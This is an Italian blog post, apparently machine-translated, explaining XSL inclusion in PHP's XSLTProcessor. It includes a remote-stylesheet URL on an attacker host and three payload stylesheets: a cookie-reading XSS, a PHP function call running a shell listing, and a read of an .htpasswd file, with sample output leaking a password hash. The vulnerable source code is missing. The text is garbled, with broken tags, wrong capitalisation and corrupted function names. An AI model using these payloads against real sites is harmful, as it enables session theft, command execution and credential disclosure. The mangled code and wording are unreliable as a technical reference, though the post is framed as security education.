Oggi ho deciso di parlarvi di una vulnerabilità interessante, la XSL inclusion. Partiamo subito! Come ben sappiamo Il linguaggio PHP supporta le trasformazioni XSL utilizzando la classe XSLTProcessor .
Il seguente codice carica il documento collection.xml e lo trasforma in un file XSL.
Questo codice è stato preso dal PHP XSLTProcessor e trasformato con transformToXML per poi essere modificato per inserire la vulnerabilità.

XSL inclusion

 

 

 

 

 

 

 

 

 

La vulnerabilità si verifica quando il file XSL viene caricato da una fonte controllata dall’utente malintenzionato. In questo esempio, è possibile specificare il file XSL come parametro GET “xsl”.
È possibile includere un file XSL remoto utilizzando un URL simile:
https://www.website.com/xsl/transform.php?xsl=https://evilwebsite.com/evil.xsl
Cosa si può fare con questa vulnerabilità? Andiamolo a vedere!
1. XSS (Cross Site Scripting).

File XSL di esempio che eseguirà il codice Javascript:
<Xsl: stylesheet version = “1.0” xmlns: xsl = “https://www.w3.org/1999/XSL/Transform” xmlns: php = “https://php.net/xsl”>
<Xsl: template match = “/”>
<Script> alert (document.cookie) </ script>
</ Xsl: template>
</ Xsl: stylesheet>
2. Eseguire codice PHP (se registerPHPFunctions è abilitato); XSLTProcessor ha un metodo NameDA registerPHPFunctions. Questo metodo ha la capacità di usare funzioni PHP come funzioni XSLT all’interno di XSL stylesheets. Qui è riportato un esempio di file XSL che verranno eseguiti con codice PHP: (funziona solo se IFA registerPHPFunctions è abilitato)
<Xsl: stylesheet version = “1.0” xmlns: xsl = “https://www.w3.org/1999/XSL/Transform” xmlns: php = “https://php.net/xsl”>
<Xsl: template match = “/”>
<Xsl: value-of select = “php: function (‘passante’, ‘ls -la /’)” />
</ Xsl: template>
</ Xsl: stylesheet>
3. Leggere file arbitrari. Non ci sono limiti a quali file si possono leggere. Con il metodo transformToXML si tenterà di analizzare il file e non funzionerà solo qualora il formato non fosse giusto. Bisogna precisare che si possono leggere solo i dati formattati in HTML. Tuttavia, è possibile leggere la prima riga da qualsiasi file. Questo può non sembrare molto, ma potrebbe essere utile in alcune situazioni (ad esempio i file .htpasswd).
Metto qui in esempio uno script XSL che riguarda il nostro caso:
<Xsl: stylesheet version = “1.0” xmlns: xsl = “https://www.w3.org/1999/XSL/Transform” xmlns: php = “https://php.net/xsl”>
<Xsl: template match = “/”>
<Xsl: copy-of select = “documento (‘. Htpasswd’)” />
</ Xsl: template>
</ Xsl: stylesheet>
Nel mio caso Htpasswd contiene solo una riga (test: qKMmz / ZMJFHc6).
Compreso il file XSL sopra produrrà il seguente risultato:

<br />
<b>Warning</b>:XSLTProcessor::transformToXml()
[<a href=’xsltprocessor.transformtoxml’>xsltprocessor.transformtoxml</a>]: /path/.htpasswd:1: parser error : Start tag expected, ‘&lt;’ not found in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:XSLTProcessor::transformToXml()
[<a href=’xsltprocessor.transformtoxml’>xsltprocessor.transformtoxml</a>]: test:qKMmz/ZMJFHc6 in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:XSLTProcessor::transformToXml()
[<a href=’xsltprocessor.transformtoxml’>xsltprocessor.transformtoxml</a>]: ^ in <b>/path/transform.php</b> on line <b>15</b><br />
Come si può vedere, transformToXml trovato alcuni errori nella prima riga di questo file e ha dimostrato la riga affetta dalla falla di sicurezza.